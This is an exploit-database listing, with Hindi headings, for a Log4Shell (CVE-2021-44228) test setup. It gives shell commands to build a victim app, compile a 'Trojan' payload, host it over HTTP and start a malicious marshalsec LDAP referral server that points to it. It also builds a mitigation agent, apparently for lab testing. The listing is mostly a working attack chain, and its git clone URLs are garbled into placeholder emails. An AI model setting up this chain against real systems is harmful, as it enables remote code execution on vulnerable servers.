Sploitus

log4shell-test-exploit

CVE-2021-44228

kitploit · 2026-08-26

Exploit Code

MARKDOWN49 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WAJDA-LOG4SHELL-TEST-EXPLOIT
# CVE-2021-44228 (log4shell) का परीक्षण शोषण

### तैयारी

root@kitploit:~
    
    
    # Install Nodejs HTTP server 
    npm -g i http-server
    
    # Build victim app
    cd victim-app
    mvn install
    
    # Compile Trojan
    cd test-trojan
    javac Trojan.java
    
    # Build marshalsec (required Java 8)
    git clone some-email@example.com:mbechler/marshalsec.git
    cd marshalsec
    mvn clean package -DskipTests
    
    # Build log4j-jndi-be-gone
    git clone some-email@example.com:wajda/log4j-jndi-be-gone.git
    cd log4j-jndi-be-gone
    git checkout shading-support
    ./gradlew
    

### ट्रोजन पेलोड होस्ट करने वाला HTTP सर्वर शुरू करें

root@kitploit:~
    
    
    cd test-trojan
    http-server .
    

### एक दुर्भावनापूर्ण LDAP सर्वर शुरू करें

देखें https://github.com/mbechler/marshalsec

root@kitploit:~
    
    
    cd marshalsec
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Trojan"